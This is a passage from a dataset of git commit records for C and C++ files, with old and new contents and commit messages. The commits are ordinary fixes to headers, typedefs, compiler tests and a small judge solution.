BE LIABLE\r\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\r\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\r\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\r\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\r\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\r\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\nstatistic_histogram.h\r\n\r\n*\/\r\n\r\n#ifndef STATISTIC_HISTOGRAM_H_\r\n#define STATISTIC_HISTOGRAM_H_\r\n\r\n#include <stdio.h>\r\n#include <vector>\r\n\r\nclass Statistic_histogram\r\n{\r\npublic:\r\n    Statistic_histogram(std::string h_name, const ssize_t domain_start, const ssize_t domain_end, const size_t range_size);\r\n\r\n    void inc_val(uint64_t val);\r\n    size_t report(char * report_buffer, size_t report_buffer_size);\r\n\r\nprivate:\r\n    std::string  name;\r\n    ssize_t dstart;\r\n    ssize_t dend;\r\n    size_t  rsize;\r\n\r\n    typedef std::vector<uint64_t>::iterator hv_iterator;\r\n    std::vector<uint64_t> hval;\r\n};\r\n\r\n\r\n#endif \/* STATISTIC_HISTOGRAM_H_ *\/\r\n","subject":"Update license in header file","message":"Update license in header file","lang":"C","license":"bsd-3-clause","repos":"EdDev\/st_histogram,EdDev\/st_histogram"}
{"commit":"ac82354ab52fcb74909c57d408da60fad767a012","old_file":"solutions\/uri\/1026\/1026.c","new_file":"solutions\/uri\/1026\/1026.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    unsigned int a, b;\n\n    while (scanf(\"%u %u\", &a, &b) != EOF) {\n        printf(\"%u\\n\", a ^ b);\n    }\n\n    return 0;\n}\n","subject":"Solve To Carry or not to Carry in c","message":"Solve To Carry or not to Carry in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"3654f9926d4015a10d62ab6bb93087974d510daf","old_file":"framegrab.h","new_file":"framegrab.h","old_contents":"#ifndef FRAMEGRAB_H_\n#define FRAMEGRAB_H_\n\n#include <unistd.h>\n\ntypedef void *fg_handle;\n\n\/* fourcc constants *\/\n#define FG_FORMAT_YUYV\t0x56595559\n#define FG_FORMAT_RGB24\t0x33424752\n\nstruct fg_image {\n\tint width;\n\tint height;\n\tint format;\n};\n\nfg_handle fg_init(char *, int);\nint fg_deinit(fg_handle);\nint fg_start(fg_handle);\nint fg_stop(fg_handle);\nint fg_set_format(fg_handle, struct fg_image *);\nint fg_get_format(fg_handle, struct fg_image *);\nint fg_get_frame(fg_handle, void *, size_t len);\nint fg_write_jpeg(char *, int, struct fg_image *, void *);\n\n#endif\n","new_contents":"#ifndef FRAMEGRAB_H_\n#define FRAMEGRAB_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stdlib.h>\n\n#if defined(_WIN32) && !defined(__CYGWIN__)\n# ifdef BUILDING_DLL\n#  define EXPORT __declspec(dllexport)\n# else\n#  define EXPORT __declspec(dllimport)\n# endif\n#elif __GNUC__ >= 4 || defined(__HP_cc)\n# define EXPORT __attribute__((visibility (\"default\")))\n#elif defined(__SUNPRO_C)\n# define EXPORT __global\n#else\n# define EXPORT \n#endif\n\ntypedef void *fg_handle;\n\n\/* fourcc constants *\/\n#define FG_FORMAT_YUYV\t0x56595559\n#define FG_FORMAT_RGB24\t0x33424752\n\nstruct fg_image {\n\tint width;\n\tint height;\n\tint format;\n};\n\nEXPORT fg_handle fg_init(char *, int);\nEXPORT int fg_deinit(fg_handle);\nEXPORT int fg_start(fg_handle);\nEXPORT int fg_stop(fg_handle);\nEXPORT int fg_set_format(fg_handle, struct fg_image *);\nEXPORT int fg_get_format(fg_handle, struct fg_image *);\nEXPORT int fg_get_frame(fg_handle, void *, size_t len);\nEXPORT int fg_write_jpeg(char *, int, struct fg_image *, void *);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add C++ and shared library stuff to header file","message":"Add C++ and shared library stuff to header file\n\nWe're not using it yet, but it's a nice thing to have.\n\nSigned-off-by: Claudio Matsuoka <ef7f691d9947ca9adbfeb1538a53a661ec9f041b@gmail.com>\n","lang":"C","license":"mit","repos":"cmatsuoka\/framegrab,cmatsuoka\/framegrab"}
{"commit":"f7faee03e671d7ac088951ed187e6f867e2255a5","old_file":"test\/Driver\/sysroot.c","new_file":"test\/Driver\/sysroot.c","old_contents":"\/\/ Check that --sysroot= also applies to header search paths.\n\/\/ RUN: %clang -ccc-host-triple unknown --sysroot=\/FOO -### -E %s 2> %t1\n\/\/ RUN: FileCheck --check-prefix=CHECK-SYSROOTEQ < %t1 %s\n\/\/ CHECK-SYSROOTEQ: \"-cc1\"{{.*}} \"-isysroot\" \"\/FOO\"\n\n\/\/ Apple Darwin uses -isysroot as the syslib root, too.\n\/\/ RUN: touch %t2.o\n\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin10 \\\n\/\/ RUN:   -isysroot \/FOO -### %t2.o 2> %t2\n\/\/ RUN: FileCheck --check-prefix=CHECK-APPLE-ISYSROOT < %t2 %s\n\/\/ CHECK-APPLE-ISYSROOT: \"-arch\" \"i386\"{{.*}} \"-syslibroot\" \"\/FOO\"\n\n\/\/ Check that honor --sysroot= over -isysroot, for Apple Darwin.\n\/\/ RUN: touch %t3.o\n\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin10 \\\n\/\/ RUN:   -isysroot \/FOO --sysroot=\/BAR -### %t3.o 2> %t3\n\/\/ RUN: FileCheck --check-prefix=CHECK-APPLE-SYSROOT < %t3 %s\n\/\/ CHECK-APPLE-SYSROOT: \"-arch\" \"i386\"{{.*}} \"-syslibroot\" \"\/BAR\"\n","new_contents":"\/\/ Check that --sysroot= also applies to header search paths.\n\/\/ RUN: %clang -ccc-host-triple i386-unk-unk --sysroot=\/FOO -### -E %s 2> %t1\n\/\/ RUN: FileCheck --check-prefix=CHECK-SYSROOTEQ < %t1 %s\n\/\/ CHECK-SYSROOTEQ: \"-cc1\"{{.*}} \"-isysroot\" \"\/FOO\"\n\n\/\/ Apple Darwin uses -isysroot as the syslib root, too.\n\/\/ RUN: touch %t2.o\n\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin10 \\\n\/\/ RUN:   -isysroot \/FOO -### %t2.o 2> %t2\n\/\/ RUN: FileCheck --check-prefix=CHECK-APPLE-ISYSROOT < %t2 %s\n\/\/ CHECK-APPLE-ISYSROOT: \"-arch\" \"i386\"{{.*}} \"-syslibroot\" \"\/FOO\"\n\n\/\/ Check that honor --sysroot= over -isysroot, for Apple Darwin.\n\/\/ RUN: touch %t3.o\n\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin10 \\\n\/\/ RUN:   -isysroot \/FOO --sysroot=\/BAR -### %t3.o 2> %t3\n\/\/ RUN: FileCheck --check-prefix=CHECK-APPLE-SYSROOT < %t3 %s\n\/\/ CHECK-APPLE-SYSROOT: \"-arch\" \"i386\"{{.*}} \"-syslibroot\" \"\/BAR\"\n","subject":"Tweak test to at least use a standard arch, to ensure we try to invoke Clang.","message":"tests: Tweak test to at least use a standard arch, to ensure we try to invoke\nClang.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@130861 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"41f2f1829f3227b2d405feb75751ac5debfcc1e8","old_file":"components\/libc\/compilers\/minilibc\/sys\/types.h","new_file":"components\/libc\/compilers\/minilibc\/sys\/types.h","old_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\ntypedef long        off_t;\ntypedef unsigned long size_t;\ntypedef signed long   ssize_t;      \/* Used for a count of bytes or an error indication. *\/\n\ntypedef unsigned char  u_char;\ntypedef unsigned short u_short;\ntypedef unsigned int   u_int;\ntypedef unsigned long  u_long;\n\ntypedef int mode_t;\n\ntypedef unsigned long clockid_t;\ntypedef int pid_t;\n\ntypedef\tunsigned long clock_t; \/* clock() *\/\n\n#ifndef NULL\n#define NULL        (0)\n#endif\n\n#define __u_char_defined\n\n#endif\n\n","new_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\ntypedef long        off_t;\ntypedef unsigned long size_t;\ntypedef signed long   ssize_t;      \/* Used for a count of bytes or an error indication. *\/\n\ntypedef unsigned char  u_char;\ntypedef unsigned short u_short;\ntypedef unsigned int   u_int;\ntypedef unsigned long  u_long;\n\ntypedef int mode_t;\n\ntypedef unsigned long clockid_t;\ntypedef int pid_t;\n\ntypedef int gid_t;\ntypedef int uid_t;\ntypedef int dev_t;\ntypedef int ino_t;\ntypedef int mode_t;\ntypedef int caddr_t;\n\ntypedef unsigned int wint_t;\ntypedef unsigned long useconds_t;\n\ntypedef\tunsigned long clock_t; \/* clock() *\/\n\n#ifndef NULL\n#define NULL        (0)\n#endif\n\n#define __u_char_defined\n\n#endif\n\n","subject":"Add more typedef in minilibc.","message":"[libc] Add more typedef in minilibc.\n","lang":"C","license":"apache-2.0","repos":"geniusgogo\/rt-thread,weety\/rt-thread,nongxiaoming\/rt-thread,weiyuliang\/rt-thread,ArdaFu\/rt-thread,nongxiaoming\/rt-thread,AubrCool\/rt-thread,FlyLu\/rt-thread,armink\/rt-thread,weiyuliang\/rt-thread,FlyLu\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,hezlog\/rt-thread,armink\/rt-thread,armink\/rt-thread,yongli3\/rt-thread,hezlog\/rt-thread,yongli3\/rt-thread,weety\/rt-thread,hezlog\/rt-thread,zhaojuntao\/rt-thread,weety\/rt-thread,igou\/rt-thread,igou\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,gbcwbz\/rt-thread,weety\/rt-thread,FlyLu\/rt-thread,AubrCool\/rt-thread,ArdaFu\/rt-thread,FlyLu\/rt-thread,nongxiaoming\/rt-thread,ArdaFu\/rt-thread,weiyuliang\/rt-thread,igou\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,gbcwbz\/rt-thread,geniusgogo\/rt-thread,weiyuliang\/rt-thread,AubrCool\/rt-thread,zhaojuntao\/rt-thread,zhaojuntao\/rt-thread,wolfgangz2013\/rt-thread,geniusgogo\/rt-thread,igou\/rt-thread,wolfgangz2013\/rt-thread,AubrCool\/rt-thread,gbcwbz\/rt-thread,ArdaFu\/rt-thread,weety\/rt-thread,weety\/rt-thread,gbcwbz\/rt-thread,armink\/rt-thread,RT-Thread\/rt-thread,nongxiaoming\/rt-thread,zhaojuntao\/rt-thread,gbcwbz\/rt-thread,gbcwbz\/rt-thread,RT-Thread\/rt-thread,wolfgangz2013\/rt-thread,AubrCool\/rt-thread,geniusgogo\/rt-thread,geniusgogo\/rt-thread,nongxiaoming\/rt-thread,nongxiaoming\/rt-thread,weiyuliang\/rt-thread,AubrCool\/rt-thread,RT-Thread\/rt-thread,igou\/rt-thread,RT-Thread\/rt-thread,ArdaFu\/rt-thread,yongli3\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,yongli3\/rt-thread,AubrCool\/rt-thread,RT-Thread\/rt-thread,zhaojuntao\/rt-thread,wolfgangz2013\/rt-thread,yongli3\/rt-thread,armink\/rt-thread,ArdaFu\/rt-thread,zhaojuntao\/rt-thread,weety\/rt-thread,yongli3\/rt-thread,yongli3\/rt-thread,zhaojuntao\/rt-thread,weiyuliang\/rt-thread,igou\/rt-thread,gbcwbz\/rt-thread,wolfgangz2013\/rt-thread,nongxiaoming\/rt-thread,FlyLu\/rt-thread,wolfgangz2013\/rt-thread,hezlog\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,RT-Thread\/rt-thread,ArdaFu\/rt-thread,FlyLu\/rt-thread,wolfgangz2013\/rt-thread"}
{"commit":"839a6a1504ffd335c43a8ad27043c51aecacecd1","old_file":"OLEContainerScrollView\/OLEContainerScrollView+Swizzling.h","new_file":"OLEContainerScrollView\/OLEContainerScrollView+Swizzling.h","old_contents":"\/*\n OLEContainerScrollView\n \n Copyright (c) 2014 Ole Begemann.\n https:\/\/github.com\/ole\/OLEContainerScrollView\n *\/\n\nvoid swizzleUICollectionViewLayoutFinalizeCollectionViewUpdates();\nvoid swizzleUITableView();","new_contents":"\/*\n OLEContainerScrollView\n \n Copyright (c) 2014 Ole Begemann.\n https:\/\/github.com\/ole\/OLEContainerScrollView\n *\/\n\nvoid swizzleUICollectionViewLayoutFinalizeCollectionViewUpdates(void);\nvoid swizzleUITableView(void);\n","subject":"Fix compiler warning in Xcode 9","message":"Fix compiler warning in Xcode 9\n","lang":"C","license":"mit","repos":"ole\/OLEContainerScrollView"}
{"commit":"a0bbb6ec64c6a6a74231206368be6af0c3d4d5e9","old_file":"DominantColor\/Shared\/INVector3.h","new_file":"DominantColor\/Shared\/INVector3.h","old_contents":"\/\/\n\/\/  INVector3.h\n\/\/  DominantColor\n\/\/\n\/\/  Created by Indragie on 12\/21\/14.\n\/\/  Copyright (c) 2014 Indragie Karunaratne. All rights reserved.\n\/\/\n\n#import <GLKit\/GLKit.h>\n\n\/\/ Wrapping GLKVector3 values in a struct so that it can be used from Swift.\n\ntypedef struct {\n    float x;\n    float y;\n    float z;\n} INVector3;\n\nGLKVector3 INVector3ToGLKVector3(INVector3 vector);\nINVector3 GLKVector3ToINVector3(GLKVector3 vector);\n\nINVector3 INVector3Add(INVector3 v1, INVector3 v2);\nINVector3 INVector3DivideScalar(INVector3 vector, float scalar);\n","new_contents":"\/\/\n\/\/  INVector3.h\n\/\/  DominantColor\n\/\/\n\/\/  Created by Indragie on 12\/21\/14.\n\/\/  Copyright (c) 2014 Indragie Karunaratne. All rights reserved.\n\/\/\n\n#import <GLKit\/GLKit.h>\n\n\/\/ Wrapping GLKVector3 values in a struct so that it can be used from Swift.\n\ntypedef struct {\n    float x;\n    float y;\n    float z;\n} INVector3;\n\nGLKVector3 INVector3ToGLKVector3(INVector3 vector);\nINVector3 GLKVector3ToINVector3(GLKVector3 vector);\n","subject":"Remove function declarations from header","message":"Remove function declarations from header\n","lang":"C","license":"mit","repos":"objcio\/DominantColor,lydonchandra\/DominantColor,indragiek\/DominantColor,objcio\/DominantColor,marinehero\/DominantColor,objcio\/DominantColor,marinehero\/DominantColor,marinehero\/DominantColor,lydonchandra\/DominantColor,lydonchandra\/DominantColor,objcio\/DominantColor,indragiek\/DominantColor,indragiek\/DominantColor,marinehero\/DominantColor"}
{"commit":"baf1cdaeb105781fd457bfd9d2a161e17c272a2d","old_file":"tests\/utils\/core-utils.h","new_file":"tests\/utils\/core-utils.h","old_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef CORE_UTILS_H__\n#define CORE_UTILS_H__\n\n#include <QString>\n#include <QObject>\n\nnamespace MaliitTestUtils {\n\n    bool isTestingInSandbox();\n    QString getTestPluginPath();\n    QString getTestDataPath();\n    void waitForSignal(const QObject* object, const char* signal, int timeout);\n    void waitAndProcessEvents(int waitTime);\n}\n\n#endif \/\/ CORE_UTILS_H__\n","new_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef CORE_UTILS_H__\n#define CORE_UTILS_H__\n\n#include <QString>\n#include <QObject>\n\n#include \"abstractsurfacegroup.h\"\n#include \"abstractsurfacegroupfactory.h\"\n\nnamespace MaliitTestUtils {\n\n    bool isTestingInSandbox();\n    QString getTestPluginPath();\n    QString getTestDataPath();\n    void waitForSignal(const QObject* object, const char* signal, int timeout);\n    void waitAndProcessEvents(int waitTime);\n\n    class TestSurfaceGroup : public Maliit::Server::AbstractSurfaceGroup {\n    public:\n        TestSurfaceGroup() {}\n\n        Maliit::Plugins::AbstractSurfaceFactory *factory() { return 0; }\n\n        void activate() {}\n        void deactivate() {}\n\n        void setRotation(Maliit::OrientationAngle) {}\n    };\n\n    class TestSurfaceGroupFactory : public Maliit::Server::AbstractSurfaceGroupFactory {\n    public:\n        TestSurfaceGroupFactory() {}\n\n        QSharedPointer<Maliit::Server::AbstractSurfaceGroup> createSurfaceGroup()\n        {\n            return QSharedPointer<Maliit::Server::AbstractSurfaceGroup>(new TestSurfaceGroup);\n        }\n    };\n}\n\n#endif \/\/ CORE_UTILS_H__\n","subject":"Add surface server side implementation for tests","message":"Add surface server side implementation for tests\n\nAdd a TestSurfaceGroup and TestSurfaceGroupFactory class for tests.\n\nRevBy: TrustMe.\n\nFull, original commit at 4dc9c4567301f2481b12965bdcf02a7281963b61 in maliit-framework\n","lang":"C","license":"lgpl-2.1","repos":"maliit\/inputcontext-gtk,maliit\/inputcontext-gtk"}
{"commit":"e250aa36cd2bf836fabaa32905e76e800b0fc756","old_file":"src\/qt\/qtipcserver.h","new_file":"src\/qt\/qtipcserver.h","old_contents":"#ifndef QTIPCSERVER_H\n#define QTIPCSERVER_H\n\n\/\/ Define Bitcoin-Qt message queue name\n#define BITCOINURI_QUEUE_NAME \"BitcoinURI\"\n\nvoid ipcScanRelay(int argc, char *argv[]);\nvoid ipcInit(int argc, char *argv[]);\n\n#endif \/\/ QTIPCSERVER_H\n","new_contents":"#ifndef QTIPCSERVER_H\n#define QTIPCSERVER_H\n\n\/\/ Define Bitcoin-Qt message queue name\n#define BITCOINURI_QUEUE_NAME \"NovaCoinURI\"\n\nvoid ipcScanRelay(int argc, char *argv[]);\nvoid ipcInit(int argc, char *argv[]);\n\n#endif \/\/ QTIPCSERVER_H\n","subject":"Set correct name for boost IPC","message":"Set correct name for boost IPC\n","lang":"C","license":"mit","repos":"ALEXIUMCOIN\/alexium,landcoin-ldc\/landcoin,IOCoin\/DIONS,IOCoin\/DIONS,Rimbit\/Wallets,gades\/novacoin,ALEXIUMCOIN\/alexium,valorbit\/valorbit,nochowderforyou\/clams,nochowderforyou\/clams,nochowderforyou\/clams,rat4\/blackcoin,vectorcoindev\/Vector,iadix\/iadixcoin,thunderrabbit\/clams,MOIN\/moin,CoinBlack\/bitcoin,iadix\/iadixcoin,Kefkius\/clams,vectorcoindev\/Vector,novacoin-project\/novacoin,novacoin-project\/novacoin,lateminer\/DopeCoinGold,byncoin-project\/byncoin,elambert2014\/novacoin,okcashpro\/okcash,AquariusNetwork\/ARCO,iadix\/iadixcoin,Whitecoin-org\/Whitecoin,pinkmagicdev\/SwagBucks,Jheguy2\/Mercury,shadowproject\/shadow,ALEXIUMCOIN\/alexium,elambert2014\/cbx2,thunderrabbit\/clams,iadix\/iadixcoin,effectsToCause\/vericoin,CoinBlack\/blackcoin,fsb4000\/novacoin,nochowderforyou\/clams,elambert2014\/cbx2,Kefkius\/clams,robvanmieghem\/clams,valorbit\/valorbit-oss,shadowproject\/shadow,benzhi888\/renminbi,LanaCoin\/lanacoin,iadix\/iadixcoin,shadowproject\/shadow,landcoin-ldc\/landcoin,greencoin-dev\/GreenCoinV2,GeopaymeEE\/e-goldcoin,fsb4000\/novacoin,som4paul\/BolieC,landcoin-ldc\/landcoin,Whitecoin-org\/Whitecoin,Kefkius\/clams,IOCoin\/DIONS,thunderrabbit\/clams,MOIN\/moin,IOCoin\/iocoin,robvanmieghem\/clams,valorbit\/valorbit-oss,okcashpro\/okcash,nochowderforyou\/clams,benzhi888\/renminbi,novacoin-project\/novacoin,som4paul\/BolieC,VsyncCrypto\/Vsync,CoinBlack\/blackcoin,jyap808\/jumbucks,TheoremCrypto\/TheoremCoin,GeopaymeEE\/e-goldcoin,blackcoinhelp\/blackcoin,jyap808\/jumbucks,IOCoin\/iocoin,dopecoin-dev\/DopeCoinGold,IOCoin\/iocoin,Kefkius\/clams,pinkmagicdev\/SwagBucks,elambert2014\/novacoin,gades\/novacoin,VsyncCrypto\/Vsync,greencoin-dev\/GreenCoinV2,xranby\/blackcoin,vectorcoindev\/Vector,byncoin-project\/byncoin,jyap808\/jumbucks,elambert2014\/novacoin,IOCoin\/DIONS,pinkmagicdev\/SwagBucks,novacoin-project\/novacoin,ghostlander\/Orbitcoin,xranby\/blackcoin,valorbit\/valorbit,iadix\/iadixcoin,stamhe\/novacoin,penek\/novacoin,rat4\/blackcoin,xranby\/blackcoin,AquariusNetwork\/ARCOv2,AquariusNetwork\/ARCO,stamhe\/novacoin,som4paul\/BolieC,valorbit\/valorbit-oss,TheoremCrypto\/TheoremCoin,landcoin-ldc\/landcoin,CoinBlack\/bitcoin,LanaCoin\/lanacoin,iadix\/iadixcoin,dooglus\/clams,prodigal-son\/blackcoin,elambert2014\/cbx2,rat4\/blackcoin,blackcoinhelp\/blackcoin,penek\/novacoin,effectsToCause\/vericoin,prodigal-son\/blackcoin,IOCoin\/iocoin,benzhi888\/renminbi,lateminer\/DopeCoinGold,CoinBlack\/bitcoin,ghostlander\/Orbitcoin,gades\/novacoin,shadowproject\/shadow,stamhe\/novacoin,Jheguy2\/Mercury,byncoin-project\/byncoin,novacoin-project\/novacoin,dooglus\/clams,Jheguy2\/Mercury,GeopaymeEE\/e-goldcoin,AquariusNetwork\/ARCOv2,shadowproject\/shadow,ghostlander\/Orbitcoin,robvanmieghem\/clams,robvanmieghem\/clams,valorbit\/valorbit-oss,Whitecoin-org\/Whitecoin,VsyncCrypto\/Vsync,CoinBlack\/blackcoin,robvanmieghem\/clams,byncoin-project\/byncoin,okcashpro\/okcash,lateminer\/DopeCoinGold,blackcoinhelp\/blackcoin,AquariusNetwork\/ARCOv2,elambert2014\/cbx2,GeopaymeEE\/e-goldcoin,okcashpro\/okcash,MOIN\/moin,CoinBlack\/blackcoin,TheoremCrypto\/TheoremCoin,pinkmagicdev\/SwagBucks,Rimbit\/Wallets,MOIN\/moin,LanaCoin\/lanacoin,effectsToCause\/vericoin,thunderrabbit\/clams,CoinBlack\/bitcoin,effectsToCause\/vericoin,ALEXIUMCOIN\/alexium,gades\/novacoin,TheoremCrypto\/TheoremCoin,MOIN\/moin,landcoin-ldc\/landcoin,okcashpro\/okcash,prodigal-son\/blackcoin,byncoin-project\/byncoin,iadix\/iadixcoin,blackcoinhelp\/blackcoin,dopecoin-dev\/DopeCoinGold,vectorcoindev\/Vector,MOIN\/moin,som4paul\/BolieC,fsb4000\/novacoin,VsyncCrypto\/Vsync,jyap808\/jumbucks,dooglus\/clams,vectorcoindev\/Vector,elambert2014\/novacoin,iadix\/iadixcoin,CoinBlack\/bitcoin,AquariusNetwork\/ARCOv2,VsyncCrypto\/Vsync,effectsToCause\/vericoin,GeopaymeEE\/e-goldcoin,AquariusNetwork\/ARCO,AquariusNetwork\/ARCOv2,rat4\/blackcoin,valorbit\/valorbit-oss,TheoremCrypto\/TheoremCoin,Rimbit\/Wallets,novacoin-project\/novacoin,elambert2014\/novacoin,Jheguy2\/Mercury,stamhe\/novacoin,lateminer\/DopeCoinGold,stamhe\/novacoin,dopecoin-dev\/DopeCoinGold,penek\/novacoin,AquariusNetwork\/ARCO,iadix\/iadixcoin,fsb4000\/novacoin,xranby\/blackcoin,IOCoin\/iocoin,iadix\/iadixcoin,dooglus\/clams,dopecoin-dev\/DopeCoinGold,som4paul\/BolieC,jyap808\/jumbucks,LanaCoin\/lanacoin,gades\/novacoin,greencoin-dev\/GreenCoinV2,shadowproject\/shadow,valorbit\/valorbit,Whitecoin-org\/Whitecoin,penek\/novacoin,dooglus\/clams,byncoin-project\/byncoin,elambert2014\/cbx2,Kefkius\/clams,dopecoin-dev\/DopeCoinGold,Rimbit\/Wallets,okcashpro\/okcash,IOCoin\/DIONS,CoinBlack\/bitcoin,valorbit\/valorbit,pinkmagicdev\/SwagBucks,greencoin-dev\/GreenCoinV2,rat4\/blackcoin,ghostlander\/Orbitcoin,Jheguy2\/Mercury,lateminer\/DopeCoinGold,penek\/novacoin,IOCoin\/DIONS,penek\/novacoin,elambert2014\/novacoin,fsb4000\/novacoin,thunderrabbit\/clams,blackcoinhelp\/blackcoin,valorbit\/valorbit,ghostlander\/Orbitcoin,IOCoin\/DIONS,prodigal-son\/blackcoin,ALEXIUMCOIN\/alexium,gades\/novacoin,benzhi888\/renminbi,benzhi888\/renminbi,LanaCoin\/lanacoin,Whitecoin-org\/Whitecoin,greencoin-dev\/GreenCoinV2,IOCoin\/DIONS,Rimbit\/Wallets,prodigal-son\/blackcoin,CoinBlack\/blackcoin,fsb4000\/novacoin,AquariusNetwork\/ARCO"}
{"commit":"183797ed24d24f6dad3755e37e6053d60916dd5f","old_file":"projects\/sample\/tools\/sample\/main.c","new_file":"projects\/sample\/tools\/sample\/main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <unistd.h>\n\n#include \"sample.h\"\n\nint\nmain (int argc, char ** argv)\n{\n  printf (\"%d\\n\", compute_sample (5));\n  exit (0);\n}\n\n","new_contents":"#include \"sample.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint\nmain (int argc, char ** argv)\n{\n  printf (\"%d\\n\", compute_sample (5));\n  exit (0);\n}\n\n","subject":"Clean up the sample include orderings, not that it really matters...","message":"Clean up the sample include orderings, not that it really matters...\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@169253 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"f0d960a2d303d1b7f8ee3bca2d52eee15f4c853e","old_file":"test\/CodeGen\/2008-07-31-promotion-of-compound-pointer-arithmetic.c","new_file":"test\/CodeGen\/2008-07-31-promotion-of-compound-pointer-arithmetic.c","old_contents":"\/\/ RUN: clang -emit-llvm-bc -o - %s | opt -std-compile-opts | llvm-dis | grep \"ret i32 1\" | count 3\n\/\/ <rdr:\/\/6115726>\n\nint f0() {\n  int x;\n  unsigned short n = 1;\n  int *a = &x;\n  int *b = &x;\n  a = a - n;\n  b -= n;\n  return a == b;\n}\n\nint f1(int *a) {\n  int b = a - (int*) 1;\n  a -= (int*) 1;\n  return b == (int) a;\n}\n\nint f2(int n) {\n  int *b = n + (int*) 1;\n  n += (int*) 1;\n  return b == (int*) n;\n}\n\n","new_contents":"\/\/ RUN: clang -emit-llvm-bc -o - %s | opt -std-compile-opts | llvm-dis | grep \"ret i32 1\" | count 3\n\/\/ <rdr:\/\/6115726>\n\nint f0() {\n  int x;\n  unsigned short n = 1;\n  int *a = &x;\n  int *b = &x;\n  a = a - n;\n  b -= n;\n  return a == b;\n}\n\nint f1(int *a) {\n  long b = a - (int*) 1;\n  a -= (int*) 1;\n  return b == (long) a;\n}\n\nint f2(long n) {\n  int *b = n + (int*) 1;\n  n += (int*) 1;\n  return b == (int*) n;\n}\n\n","subject":"Fix testcase for 64-bit systems.","message":"Fix testcase for 64-bit systems.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59099 